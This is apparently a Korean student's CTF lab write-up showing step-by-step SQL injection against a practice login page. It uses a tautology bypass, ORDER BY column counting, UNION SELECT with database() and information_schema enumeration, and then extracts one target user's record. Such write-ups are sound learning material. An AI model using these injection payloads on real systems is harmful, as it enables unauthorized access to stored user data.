CTF
ORDER BY, UNION 활용해보기 (6주차-CTF)
ser-ser
2024. 11. 26. 17:25
제공받은 사이트에 접속하여 사용자: doldol의 데이터만 추출해 보도록 하겠습니다

1. SQL Injection 시도
- 로그인 창에 1234' or '1'='1 을 입력하니 위 이미지 처럼 맨 앞에 doldol 사용자가 출력되는 것을 확인했습니다
- 목적은 doldol 사용자만 출력하는 것이므로 각 Column의 이름을 찾아보는 작업을 시작하겠습니다
![]() |
![]() |
2. Column 갯수 찾기
ORDER BY 를 사용하여 테이블에 몇 개의 Column이 있는지 확인합니다
- 이미지와 같이 1234' order by 4# 는 정상적으로 실행되었으나 이후 숫자를 입력하면 오류가 발생했습니다
- 결과 >
- 테이블의 Column 갯수는 4개임을 확인할 수 있었습니다

3. 데이터베이스 이름 확인
database() 함수를 활용하여 데이터 베이스 이름을 확인했습니다.
- 1234' union select database(), 2, 3, 4 #
- 데이터베이스 이름은 "segfault_sql"임을 확인했습니다. 이제 이 이름을 기반으로 데이터베이스에 어떤 테이블이 있는지 확인해 보겠습니다.
4. 테이블 이름 확인
information_schema.tables를 사용하여 데이터베이스의 테이블 이름을 확인합니다.
- 1234' union select table_name, 2, 3, 4 from information_schema.tables where table_schema = 'segfault_sql' #
- 이 쿼리로 "segfault_sql" 데이터베이스의 모든 테이블 이름을 확인했습니다.
5. 테이블 탐색
유용한 정보를 찾기 위해 여러 테이블을 탐색했습니다.
- 1234' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'secret member' #
- 1234' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'member' #
- 1234' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'game' #
- 1234' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'secret' #
- 그러나 사용자를 식별할 만한 단서가 보이지 않았습니다.
![]() |
![]() |
6. Column 이름 확인
특정 테이블의 열(Column) 이름을 확인하기 위해 information_schema.columns를 사용했습니다.
- like를 이용해서 id, password같은 단어가 있는지 찾아보도록 합시다 요기서 만약 식별이 된다면 그 단서로 doldol 사용자의 정보만 추출해 낼 수 있습니다
- 1234' union select column_name,2,3,4 from information_schema.columns where table_name = 'member' and column_name like '%id%' #
- 결과:
- 위 이미지 처럼 user_id, id, user_pass, pass와 같은 Column 이름을 확인할 수 있었습니다.
7. 사용자 정보 추출
확인된 Column을 사용하여 doldol 사용자의 정보를 추출합니다.
1차 시도 >
- 1234' and user_id = 'doldol' or user_pass = 'aaaa' #
- 오류 발생 >
- "Table/Column 이름이 실제와 일치하지 않는다"는 에러 메시지가 표시되었습니다.
2차 시도 >
- 이번에는 id, pass로 다시 입력해봅시다
doldol 사용자의 데이터만 정확히 출력되었습니다.